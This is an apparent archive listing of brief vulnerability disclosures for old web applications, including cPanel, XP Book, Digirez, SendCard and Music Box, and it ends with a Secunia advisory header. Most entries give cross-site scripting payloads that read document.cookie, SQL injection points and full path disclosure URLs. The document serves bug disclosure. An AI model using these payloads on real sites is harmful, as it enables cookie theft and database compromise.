digidomain-xss.txt

Hello i'm re-posting this message from the actual message which was on Tue-29 May 2007 becuase my old message got live example , anyway : Vulnerable : DigiDomain Version: 2.2 web : http://www.digiappz.com XSS : 1- http://site.com/lookup/lookupresult.asp?domain=XSS&tld=.com 2-...

cpanel11183-xss.txt

Hello I Discovered a new bug in cPanel xss Exploit : http://example.com:2082/frontend/x/manpage.html?XSS Example : 1- http://example.com:2082/frontend/x/manpage.html?alertLeZr 2- http://example.com:2082/frontend/x/manpage.html?alertdocument.cookie tested on: cPanel V 11.18.3 cPanel V 11.21.0-BETA...

xpbook-xss.txt

Hello , I haven't send any new bugs for long time : Vulnerable : XP Book v3.0 coded by http://kuwaitiphp.alruban.net i think their website doesn't work at the moment exploit : open http://www.example.com/xpbook/entry.php then type in Name: 'alertxss; Email : [email protected] Message :...

XSS in XP Book version 3.0

Hello , I haven't send any new bugs for long time : Vulnerable : XP Book v3.0 coded by http://kuwaitiphp.alruban.net i think their website doesn't work at the moment exploit : open http://www.example.com/xpbook/entry.php then type in Name: 'scriptalertxss;/script Email : [email protected]...

Full Path Disclosure in SendCard

Hello Vulnerable : SendCard Version : 3.3.0 Web : http://www.sendcard.org Exploit : http://example.com/sendcard/sendcard.php?sclanguage='Anything' -------------------- Discovered By LinuxDrox www.LeZr.Com Best Regards ,,,...

Full Path Disclosure in Almnzm

Hello Vulnerable : Almnzm Web : http://www.almnzm.com Exploit : http://example.com/almnzm/index.php?action=activateorder&orderid='Anything' -------------------- Discovered By LinuxDrox www.LeZr.Com Best Regards ,,,,...

Multiple XSS in Digirez

Hello Vulnerable : Digirez Version: 3.4 web : http://www.digiappz.com XSS : 1- http://www.example.com/room/infobook.asp?Roomname=XSS 2- http://www.example.com/room/week.asp?curYear=XSS For Example u can put : 1- http://www.example.com/room/infobook.asp?Roomname='scriptalert1;/script 2-...

XSS in Guestbook ( v.4.00 beta )

Hello Vulnerable : Guestbook By 212cafe.com Version: v.4.00 beta Web : http://www.212cafe.com Exploit : http://www.example.com/guestbookv4.0/show.php?user=XSS Example : http://www.example.com/guestbookv4.0/show.php?user='scriptalertdocument.cookie;/script ----- Discoverey By LinuxDrox...

Full Path Disclosure in Open-Realty ( v2.3.4 )

Hello Vulnerable : Open-Realty Verision : 2.3.4 Web : http://www.open-realty.org Exploit : http://www.example.com/script/index.php?action=listingview&listingID='anything' -------------------- Discoverey By LinuxDrox www.LeZr.Com/vb Best Regards ,,,,...

gb400-xss.txt

Hello Vulnerable : Guestbook By 212cafe.com Version: v.4.00 beta Web : http://www.212cafe.com Exploit : http://www.example.com/guestbookv4.0/show.php?user=XSS Example : http://www.example.com/guestbookv4.0/show.php?user='alertdocument.cookie; ----- Discoverey By LinuxDrox www.LeZr.Com/vb Best...

XSS in 212cafeBoard ( Verision 0.08 & 6.30 Beta )

Hello Vulnerable : 212cafeBoard Version: 0.08 Beta 6.30 Beta Web : http://www.212cafe.com i found XSS 212cafeBoard v6.30 Beta : http://www.example.com/Board/list3.php?user=XSS For Example , you can put : http://www.example.com/board/list3.php?user='scriptalertdocument.cookie;/script...

fi-xsssql.txt

Hello Vulnerable : Future Internet web : http://www.future-internet.com SQL Injection : http://www.example.com/pathofscript/index.cfm?fuseaction=Portal.Showpage&categoryid=311&newsId=SQL http://www.example.com/pathofscript/index.cfm?fuseaction=Portal.Showpage&categoryid=SQL...

Multiple Bugs in Future Internet ( XSS & SQL Injection )

Hello Vulnerable : Future Internet web : http://www.future-internet.com SQL Injection : http://www.example.com/pathofscript/index.cfm?fuseaction=Portal.Showpage&categoryid=311&newsId=SQL http://www.example.com/pathofscript/index.cfm?fuseaction=Portal.Showpage&categoryid=SQL...

miniwebshop-xss.txt

Hello Vulnerable : MINI WEB SHOP Version: 2.1.c web : http://ObieWebsite.SourceForge.net I Found some bugs XSS & Full Path Disclosure in MINI WEB SHOP XSS : http://example.com/miniwebshop/modules/viewcategory.php?catname='alertdocument.cookie Full Path Disclosure :...

Multiple Bugs in MINI WEB SHOP

Hello Vulnerable : MINI WEB SHOP Version: 2.1.c web : http://ObieWebsite.SourceForge.net I Found some bugs XSS & Full Path Disclosure in MINI WEB SHOP XSS : http://example.com/miniwebshop/modules/viewcategory.php?catname='scriptalertdocument.cookie/script Full Path Disclosure :...

SQL Injection in Softbiz Image Gallery

Hello Vulnerable: Softbiz Image Gallery http://www.softbizscripts.com Exploit : http://example.com/imagegallery/imagedesc.php?id=SQL http://example.com/imagegallery/template.php?provided=SQL http://example.com/imagegallery/suggestimage.php?cid=SQL...

saphplessonSQL.txt

Hi Vulnerable: SaphpLesson2.0 http://www.Arabless.com Exploit : http://Example.com/lesson/print.php?lessid=SQL Example : For Name & Passowrd...

XSS in AL-Caricatier

Hello Vulnerable: AL-Caricatier,V.2.5 http://www.php-ar.com Exploit : http://example.com/AL-Caricatier/viewcaricatier.php?CatName='scriptalertdocument.cookie;/script http://example.com/AL-Caricatier/viewcaricatier.php?CaricatierID='scriptalertdocument.cookie;/script...

XSS & SQL Injection in Music Box v2.3

Hello Vulnerable: Music Box v2.3 http://www.MusicboxV2.com Exploit : XSS : http://example.com/music/index.php?id='scriptalertdocument.cookie/script http://example.com/music/index.php?action=top&show=5&type='scriptalertdocument.cookie/script...

[SA19216] vCard Cross-Site Scripting Vulnerabilities

TITLE: vCard Cross-Site Scripting Vulnerabilities SECUNIA ADVISORY ID: SA19216 VERIFY ADVISORY: http://secunia.com/advisories/19216/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: vCard 2.x http://secunia.com/product/8693/ DESCRIPTION: LinuxDrox has reported som...